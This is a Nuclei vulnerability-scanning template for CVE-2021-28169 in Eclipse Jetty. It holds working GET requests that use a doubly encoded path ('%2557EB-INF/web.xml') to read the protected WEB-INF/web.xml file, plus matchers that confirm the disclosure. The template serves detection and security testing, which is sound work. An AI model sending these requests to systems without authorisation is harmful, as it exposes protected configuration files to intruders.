nuclei-templates/cves/2021/CVE-2021-28169.yaml

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1.3 KiB
YAML

id: CVE-2021-28169
info:
name: Jetty Utility Servlets Information Disclosure
author: pikpikcu
severity: medium
description: |
For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory.
reference:
- https://twitter.com/sec715/status/1406787963569065988
- https://nvd.nist.gov/vuln/detail/CVE-2021-28169
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq
- https://lists.apache.org/thread.html/r2721aba31a8562639c4b937150897e24f78f747cdbda8641c0f659fe@%3Cusers.kafka.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-28169
cwe-id: CWE-200
tags: cve,cve2021,jetty
requests:
- method: GET
path:
- "{{BaseURL}}/static?/%2557EB-INF/web.xml"
- "{{BaseURL}}/concat?/%2557EB-INF/web.xml"
matchers-condition: and
matchers:
- type: word
words:
- "application/xml"
part: header
- type: word
words:
- "</web-app>"
- "java.sun.com"
part: body
condition: and
- type: status
status:
- 200